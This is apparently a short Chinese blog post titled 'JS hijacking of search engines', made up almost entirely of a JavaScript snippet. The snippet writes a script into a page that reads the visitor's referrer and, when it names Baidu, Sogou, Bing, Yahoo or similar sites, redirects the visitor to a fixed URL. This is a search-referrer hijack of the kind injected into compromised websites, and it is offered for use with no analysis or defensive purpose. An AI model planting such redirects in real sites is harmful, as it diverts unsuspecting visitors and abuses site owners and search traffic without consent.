js挟持搜索引擎

window["document"]['writeln']("<script LANGUAGE=\"Javascript\">");
window["document"]['writeln']("var s=document.referrer");
window["document"]['writeln']("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
window["document"]['writeln']("location.href=\"https://www.baidu.com\";");
window["document"]['writeln']("</script>");

 

版权声明:
作者:ForDream
链接:https://ishoud.com/index.php/2021/11/23/218.html
来源:工具人
文章版权归作者所有,未经允许请勿转载。

THE END
分享
二维码
海报
js挟持搜索引擎
window["document"]['writeln']("<script LANGUAGE=\"Javascript\">"); window["document"]['writeln']("var s=document.referrer"); window["documen……
<<上一篇
下一篇>>